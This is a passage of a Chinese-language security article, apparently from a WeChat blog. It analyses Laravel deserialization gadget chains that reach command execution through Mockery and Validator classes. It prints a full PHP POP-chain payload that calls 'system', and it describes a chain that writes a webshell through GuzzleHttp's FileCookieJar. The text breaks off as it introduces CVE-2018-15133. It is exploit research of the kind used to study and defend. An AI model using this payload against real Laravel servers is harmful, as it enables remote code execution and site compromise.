monospace;">register()</code>方法的类，这里优先选择去寻找可利用的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__call()</code>方法。经过一番ctrl+f搜索，找到了一个稍微好利用的类<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Mockery\Generator\Method</code>，其中<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__call()</code>方法直接调用了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">call_user_func_array</code>函数，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;method</code>可控。</span></p><p><br/></p><p><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">但是因为</span><code style="text-align: left;box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">call_user_func_array</code><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">的特点，在传入的第一个参数为字符串时，会直接调用对应的函数。</span><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">如果传入的参数为数组，比如</span><code style="text-align: left;box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">array(new A(), &#39;b&#39;)</code><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">，则会对应调用A类的b方法。</span><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">在这里虽然</span><code style="text-align: left;box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;method</code><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">可控，但是此时</span><code style="text-align: left;box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$method</code><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">为调用</span><code style="text-align: left;box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__call()</code><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">方法时的函数名，很难做到命令执行，因此还需要再跳一层，寻找</span><code style="text-align: left;box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__call()</code><span style="background-color: transparent;color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;text-align: left;">方法来执行命令。</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3672566371681416" data-s="300,640" style="" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=e4845c55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXiaT3ngPFxFXTTU56zpmesGj3J8I8laib0bjRmmiaIhooK7gWlRRxIy4Vw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">最后瞄准了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Illuminate\Validation\Validator</code>类，这个类被很多反序列化链作为命令执行的最终类，因为它有着很方便的构造点，并且变量（<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;extensions</code>）可控。传入的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$method</code>首先使用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">substr</code>获取了第8位以后的字符串<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$rule</code>，接着寻找<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$this-&gt;extensions</code>中是否存在对应与<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">$rule</code>键的值，如果存在并且可以被调用（<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">is_callable</code>），那么就可以利用php可变函数的特性来调用这个函数。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6162687886825818" data-s="300,640" style="" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=c4ee8396&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXUibNGaDeWBv47G7xm9liaPnCmdDichrlKAseiaPtHpVwG9aicjwbwjmfNxw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">完整的调用栈如下：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1234501347708895" data-s="300,640" style="" data-type="png" data-w="1855" src="https://wechat2rss.xlab.app/img-proxy/?k=01f44f5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXhibI12DKzZLJyUBzwicFhufC7KOEA8MlbbjF4HkAPR5ulpvDibScHWe6g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">下面给出pop链：</span></p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// laravel 5, 7, 8 都可</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Illuminate</span>\<span class="code-snippet__title">Routing</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">class</span> <span class="code-snippet__title">PendingResourceRegistration</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">protected</span> $<span class="code-snippet__title">registrar</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">protected</span> $registered;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">protected</span> $name;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">protected</span> $controller;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">protected</span> $options;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">($registrar, $registered, $name, $controller, $options)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;registrar = $registrar;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;registered = $registered;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;name = $name;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;controller = $controller;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;options = $options;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Mockery</span>\<span class="code-snippet__title">Generator</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">class</span> <span class="code-snippet__title">Method</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">private</span> $<span class="code-snippet__title">method</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">($method)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;method = $method;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Illuminate</span>\<span class="code-snippet__title">Validation</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">class</span> <span class="code-snippet__title">Validator</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">public</span> $<span class="code-snippet__title">extensions</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">($extensions)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;extensions = $extensions;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> {</span></code><code><span class="code-snippet_outer">    $<span class="code-snippet__title">a</span> = <span class="code-snippet__title">new</span> <span class="code-snippet__title">Illuminate</span>\<span class="code-snippet__title">Validation</span>\<span class="code-snippet__title">Validator</span>(<span class="code-snippet__title">array</span>(&#39;&#39; =&gt; &#39;<span class="code-snippet__title">call_user_func</span>&#39;));</span></code><code><span class="code-snippet_outer">    $b = <span class="code-snippet__keyword">new</span> Mockery\Generator\Method($a);</span></code><code><span class="code-snippet_outer">    $c = <span class="code-snippet__keyword">new</span> Illuminate\Routing\PendingResourceRegistration($b, <span class="code-snippet__keyword">false</span>, <span class="code-snippet__string">&#39;call_user_func&#39;</span>, <span class="code-snippet__string">&#39;system&#39;</span>, <span class="code-snippet__string">&#39;ls&#39;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">echo</span>(urlencode(serialize($c)));</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section data-autoskip="1" style="padding-right: 10px;text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#73635a;background: transparent;"><p style="text-align:left;color: rgb(63, 63, 63);font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: inline !important;"><br/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这个链的不足在于调用了两次</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">call_user_func</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。实际上，调用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Illuminate\Validation\Validator</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">时就可以任意执行函数了，但是因为传入的参数个数为3个，同时php命令执行相关的函数的参数一般为1个或者2个，因此只能退而求其次，再调用一次</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">call_user_func</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">来执行命令执行函数。</span></p><p style="text-align:left;"><br/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在反序列化的过程中，使用某些链进行命令执行虽然将结果回显，但同时也会产生报错（错误日志存储在storage/logs/laravel.log中）。</span></p><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8823529411764706" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7ac16f38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXVb3OxtHujKXd9IYAfZuP0mz2PjuVoicvzQicoMPmFibf22Jf9qJFdfHIQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="104089"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 40px;flex-shrink: 0;"><img data-ratio="0.7205882352941176" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=818ba2e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXsuT2ibG0LoI71MYulqAC4WicrkJcfu8RstB8NLjL6lq2kHzkFka6w2MA%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 161, 99);padding-right: 8px;padding-left: 8px;box-sizing: border-box;"><span style="font-size: 20px;"><strong>写Webshell</strong></span><br/></section><section style="box-sizing:border-box;width: 11px;flex-shrink: 0;"><img data-ratio="1" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="22" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=8dc4cdd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXUUCf57s0Dz8qFibeG5gagUpJqoKpQ6LVdLsm84fibicYcPCic804wmaaFA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="104084"><section style="text-align: center;margin:10px auto;"><section style="margin-top: 40px;"><section style="box-sizing: border-box;width: 7px;height: 7px;background-color: rgb(255, 172, 123);border-radius: 50%;margin-bottom: -40px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 7px;height: 7px;background-color: rgb(194, 176, 254);border-radius: 50%;margin-bottom: -3px;margin-left: 30px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 179, 112);border-radius: 10px;padding: 5px;margin-left: 3px;box-sizing: border-box;"><section style="background-color: rgb(255, 250, 242);padding: 30px 10px 10px 20px;border-radius: 10px;box-sizing: border-box;"><section data-autoskip="1" style="padding-right: 10px;text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#73635a;background: transparent;"><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">基本上，写webshell的链是在命令执行的反序列化链之后往后延伸，寻找可传入多个参数的执行链，在这里就不赘述了。</span></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/>比较特别的是，在laravel7，8的较新版本中引入了GuzzleHttp组件，这个组件是一个PHP的HTTP客户端，它用来发送请求，并集成到WEB服务上。其中，其中一条写webshell的反序列化链就利用了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">FileCookieJar</code>类中的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__destruct()</code>方法。<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">__destruct()</code>方法中调用了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">save()</code>方法对cookies进行持久化的存储，其本意是为了保存cookies，但我们可以通过这个机制通过反序列化来写入webshell。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7151675485008818" data-s="300,640" style="" data-type="png" data-w="1134" src="https://wechat2rss.xlab.app/img-proxy/?k=77544218&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IX0icgYon3DkT4qhCIudDc55plXd5y1YcClwRyVVv9qJca555c5WD93qw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p></section><section style="display: flex;justify-content: flex-end;margin-top: -20px;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8823529411764706" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7ac16f38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXVb3OxtHujKXd9IYAfZuP0mz2PjuVoicvzQicoMPmFibf22Jf9qJFdfHIQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="104089"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 40px;flex-shrink: 0;"><img data-ratio="0.7205882352941176" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=818ba2e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXsuT2ibG0LoI71MYulqAC4WicrkJcfu8RstB8NLjL6lq2kHzkFka6w2MA%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 161, 99);padding-right: 8px;padding-left: 8px;box-sizing: border-box;"><span style="font-size: 20px;"><strong>反序列化点</strong></span><br/></section><section style="box-sizing:border-box;width: 11px;flex-shrink: 0;"><img data-ratio="1" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="22" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=8dc4cdd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXUUCf57s0Dz8qFibeG5gagUpJqoKpQ6LVdLsm84fibicYcPCic804wmaaFA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="104084"><section style="text-align: center;margin:10px auto;"><section style="margin-top: 40px;"><section style="box-sizing: border-box;width: 7px;height: 7px;background-color: rgb(255, 172, 123);border-radius: 50%;margin-bottom: -40px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 179, 112);border-radius: 10px;padding: 5px;margin-left: 3px;box-sizing: border-box;"><section style="padding: 30px 10px 10px 20px;border-radius: 10px;box-sizing: border-box;"><section data-autoskip="1" style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(115, 99, 90);"><h3 style="background-color: transparent;box-sizing: border-box;margin: 40px 10px 20px;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-weight: bold;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CVE-2018-15133</span></h3><p style="background-color: transparent;"><span style="color: rgb(63, 63, 63);font-size: 16px;text-align: left;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在laravel版本小于5.6.30中，存在一个cookies反序列化漏洞（CVE-2018-15133），该漏洞允许攻击者在获取到APP 